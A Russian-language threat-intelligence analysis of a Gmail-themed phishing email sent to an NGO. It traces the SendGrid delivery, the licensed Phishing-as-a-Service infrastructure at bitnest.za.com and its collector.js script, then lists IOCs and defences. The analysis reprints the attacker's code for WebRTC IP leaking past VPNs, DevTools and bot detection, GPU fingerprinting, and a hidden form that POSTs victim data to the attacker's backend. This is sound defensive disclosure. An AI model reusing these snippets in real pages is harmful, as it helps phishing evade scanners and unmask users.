
Разбираем фишинговое письмо, пришедшее на адрес НКО: от SendGrid-доставки с SPF/DKIM pass до реверса JavaScript-фреймворка collector.js, который собирает GPU fingerprint, ломает WebRTC для раскрытия IP за VPN и детектирует DevTools — до того как жертва увидит фишинговую форму.
Статья документирует PhaaS-платформу (Phishing-as-a-Service) с лицензированием, wildcard DNS и двухэтапной архитектурой. IOC и технические индикаторы — в конце.
Что пришло
9 марта 2026 года на публичный адрес правозащитной организации пришло письмо:
From: Workspace Mail Management
<sandeep@oesplindia[.]com>Subject: Gmail pending messages: Release Incoming Messages from pooled storage
Reply-To:
td@sevensounds[.]ae
Классика credential harvesting: «3 письма задержаны, нажмите кнопку для разблокировки». Подпись — «2026 Gmail Workspace System».
Интересно не само письмо (оно шаблонное), а инфраструктура за ним.
Доставка: SendGrid как щит
Письмо отправлено через SendGrid (Twilio), аккаунт user_id=60417945. Результат:
Проверка | Результат | Почему |
|---|---|---|
SPF | pass | IP 149[.]72[.]123[.]24 — легитимный сервер SendGrid |
DKIM | pass | Подпись sendgrid.net (s=smtpapi) |
ARC | pass | Google подтвердил цепочку |
DMARC | нет записи | oesplindia[.]com не настроил DMARC |
Письмо попадает в inbox. Никаких предупреждений.
Домен отправителя — индийская электротехническая компания (Pune, зарегистрирована в 2019). SPF включает только Zoho.in, но не SendGrid — аккаунт SendGrid либо создан отдельно, либо скомпрометирован. На сервере (170[.]10[.]163[.]134) открыты FTP, MySQL, SNMP — вектор компрометации очевиден.
Reply-To — td@sevensounds[.]ae — event management компания из Дубая. Если жертва нажмёт «Ответить» вместо перехода по ссылке, ответ уйдёт атакующему.
Фишинговый URL: wildcard DNS + PhaaS
Ссылка в письме:
hxxps://maxillae890[.]bitnest[.]za[.]com/testatrix449/*email@жертвы
Разбираем:
Компонент | Значение | Назначение |
|---|---|---|
Поддомен |
| Случайное слово — уникальный ID кампании |
Домен |
| PhaaS-платформа |
Путь |
| Идентификатор оператора или кампании |
Параметр |
| Персонализация фишинговой формы |
za.com — это не южноафриканский ccTLD. Это коммерческий домен второго уровня, зарегистрированный с 1998 года через Sav.com. bitnest[.]za[.]com использует wildcard DNS: любой поддомен (проверены www, mail, admin, login, api, app, panel, webmail и произвольные слова) резолвит на Cloudflare CDN (188[.]114[.]96[.]11 / 188[.]114[.]97[.]11).
SPF домена — v=spf1 -all — намеренно блокирует исходящую почту. Домен используется только для хостинга фишинговых страниц.
Collector.js: реверс fingerprinting-фреймворка
При переходе по ссылке загружается не фишинговая форма, а минималистичная страница:
<title>Continue</title> <script src="collector.js?v=21e981d0" data-u="https://demo.bitnest.za.com/testatrix449/" data-p="*email@жертвы"> </script> <noscript><p>You need to enable JavaScript to continue.</p></noscript>
Вся логика — в collector.js. Вот что он делает.
Что собирает
Функция collect() перебирает объекты браузера через Object.getOwnPropertyNames() и складывает результаты в объект data:
Screen и Navigator — стандартный fingerprint: разрешение, глубина цвета, User-Agent, язык, платформа, количество плагинов, hardwareConcurrency.
WebGL GPU fingerprint:
var gl = d.createElement("canvas").getContext("webgl"), ext = gl.getExtension("WEBGL_debug_renderer_info"); data.webgl = { vendor: gl.getParameter(ext.UNMASKED_VENDOR_WEBGL), renderer: gl.getParameter(ext.UNMASKED_RENDERER_WEBGL) };
В песочнице renderer обычно выдаёт "SwiftShader" или "llvmpipe" — моментальный маркер виртуалки.
WebRTC IP leak — обход VPN:
var RTC = w.RTCPeerConnection || w.webkitRTCPeerConnection; var pc = new RTC({ iceServers: [{ urls: "stun:stun.l.google.com:19302" }] }); pc.createDataChannel(""); pc.onicecandidate = function(e) { if (e.candidate) { var p = e.candidate.candidate.split(" "); data._rtc.push({ i: p[4], t: p[7], p: p[2] }); } }; pc.createOffer().then(function(o) { return pc.setLocalDescription(o); });
STUN-запрос к Google раскрывает реальный IP даже через VPN (если браузер не блокирует WebRTC). Бэкенд может сравнить IP из HTTP-запроса с IP из WebRTC — расхождение означает VPN/proxy.
Антибот — детектирование автоматизации:
var orig = Array.prototype.includes; Array.prototype.includes = function() { data.proto = true; }; try { d.createElement("video").canPlayType("video/mp4"); } catch (e) {} Array.prototype.includes = orig;
В Puppeteer и PhantomJS canPlayType может вызывать Array.prototype.includes — если data.proto === true, это бот.
Детектирование DevTools:
var fn = function() {}, cnt = 0; fn.toString = function() { ++cnt; return ""; }; console.log(fn); data.tostring = cnt;
При открытом DevTools console.log вызывает toString() для форматирования — счётчик cnt увеличивается. Если data.tostring > 0, значит кто-то наблюдает.
Прочее: Touch event support (мобильное устройство?), frame detection (window.self !== window.top — iframe?), visibilityState + pagehide (фоновая вкладка/закрытие).
Как отправляет
После сбора fingerprint и WebRTC (таймаут 120ms на STUN) скрипт создаёт скрытую HTML-форму и отправляет POST:
function send() { collect(); net(function() { var frm = d.createElement("form"); frm.method = "POST"; frm.action = cfg; // → demo.bitnest.za.com/testatrix449/ frm.style.display = "none"; // JSON fingerprint inp.name = "analytics"; inp.value = JSON.stringify(data); // Email жертвы inp3.name = "_p"; inp3.value = path; // → *email@жертвы frm.submit(); }); }
Три параметра POST: analytics (JSON со всем fingerprint), _h (URL hash), _p (email жертвы).
Двухэтапная архитектура
Платформа разделена на два домена:
Landing (
maxillae890[.]bitnest[.]za[.]com) — минималистичный HTML + collector.js. Уникальный поддомен для каждой кампании.Backend (
demo[.]bitnest[.]za[.]com) — принимает POST с fingerprint, решает: показать фишинговую форму или заблокировать.
Зачем разделение? Если антифишинговый сервис заблокирует landing-домен, бэкенд остаётся живым для других кампаний. Wildcard DNS позволяет мгновенно создать новый поддомен.
Лицензирование: «Your license has expired»
При отправке POST на бэкенд (24 марта 2026) вместо фишинговой формы пришёл ответ:
<h1>⚠</h1> <p>Your license has expired. Please renew to continue using the service.</p>
Это ключевая находка: кит лицензируется. Оператор покупает доступ к PhaaS-платформе, и при истечении подписки фишинг перестаёт работать — но инфраструктура (домен, DNS, Cloudflare) остаётся активной.
Параллель с Defisher (PhaaS для перехвата WhatsApp, который мы разбирали ранее): коммерческие фишинговые киты — растущий рынок с панелями управления, многопользовательской архитектурой и SaaS-моделью монетизации.
Инфраструктурная связь
Анализ Shodan выявил неожиданную связь:
IP | Домены | Хостер |
|---|---|---|
91[.]193[.]42[.]16 | sevensounds[.]ae (Reply-To) + exquisite[.]za[.]com | hostingww.com / AMANKA SARL |
188[.]114[.]96/97[.]11 | bitnest[.]za[.]com (фишинг) | Cloudflare CDN |
Reply-To домен (sevensounds[.]ae) и поддомен exquisite[.]za[.]com хостятся на одном IP через одного провайдера (hostingww.com). Пространство za.com используется и в фишинговой платформе (bitnest.za.com), и на сервере Reply-To домена (exquisite.za.com).
Это может означать shared hosting, общего оператора или компрометацию хостинг-аккаунта с доступом к нескольким доменам.
IOC
Сетевые индикаторы
Тип | Значение | Контекст |
|---|---|---|
URL |
| Landing page |
URL |
| Backend (POST) |
Domain |
| PhaaS-платформа, wildcard DNS, Cloudflare |
Domain |
| Скомпрометированный домен отправителя |
Domain |
| Reply-To |
IP |
| Cloudflare CDN |
IP |
| Cloudflare CDN |
IP |
| LiquidNet US, AS14555 (oesplindia) |
IP |
| AMANKA SARL / AWS (sevensounds + za.com) |
IP |
| SendGrid sending IP |
| From (скомпрометирован) | |
| Reply-To |
SendGrid
Параметр | Значение |
|---|---|
User ID | 60417945 |
Tracking domain |
|
SMTP relay |
|
Fingerprinting
Параметр | Значение |
|---|---|
Скрипт |
|
STUN |
|
MITRE ATT&CK
ID | Техника | Применение |
|---|---|---|
T1566.002 | Spearphishing Link | Credential harvesting link в email |
T1598.003 | Phishing for Information | Browser fingerprinting + антибот |
T1589.001 | Gather Victim Identity: Credentials | Кража учётных данных Gmail |
T1583.001 | Acquire Infrastructure: Domains | PhaaS-платформа bitnest[.]za[.]com |
T1583.006 | Acquire Infrastructure: Web Services | Злоупотребление SendGrid |
T1036.005 | Match Legitimate Name | Имитация Gmail Workspace |
T1217 | Browser Information Discovery | WebGL, WebRTC, timezone fingerprinting |
Что из этого следует
Для SOC/ИБ:
Блокировать
*[.]bitnest[.]za[.]comв DNS-фильтре и проксиМониторить домены
*[.]za[.]comв email-трафике — домен используется для PhaaScollector.js?v=21e981d0— маркер данной платформы в URL-логахПаттерн URL:
случайное_слово.домен/случайное_слово/*email— характерен для этого китаSendGrid user_id 60417945 может использоваться для рассылки на другие организации
Для разработчиков антифишинга:
Двухэтапная архитектура (landing → fingerprint → backend) затрудняет автоматическое сканирование: на первом этапе фишинговой формы нет
WebRTC STUN-запрос деанонимизирует исследователей за VPN — учитывать при анализе в песочницах
Array.prototype.includespatching иconsole.log toString— антибот-техники, которые стоит эмулировать в краулерах
Для всех:
FIDO2 Security Key полностью исключает credential phishing — украденный пароль бесполезен без физического ключа
DMARC с
p=rejectне спас бы в этом случае (DKIM подписан sendgrid.net), но баннер «письмо от внешнего отправителя» мог бы насторожить
